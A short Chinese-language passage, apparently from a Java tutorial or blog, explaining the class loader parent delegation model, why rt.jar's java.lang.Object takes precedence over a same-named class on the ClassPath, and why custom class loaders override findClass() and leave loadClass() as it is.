例如 java.lang.Object 存放在 rt.jar 中,如果编写另外一个 java.lang.Object 的类并放到 ClassPath 中,程序可以编译通过。由于双亲委派模型的存在,所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高,这是因为 rt.jar 中的 Object 使用的是启动类加载器,而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高,那么程序中所有的 Object 都是这个 Object。
以下是抽象类 java.lang.ClassLoader 的代码片段,其中的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException,此时尝试自己去加载。
1 | public abstract class ClassLoader { |
java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑,因此自定义类加载器一般不去重写它,但是需要重写 findClass() 方法。
]]>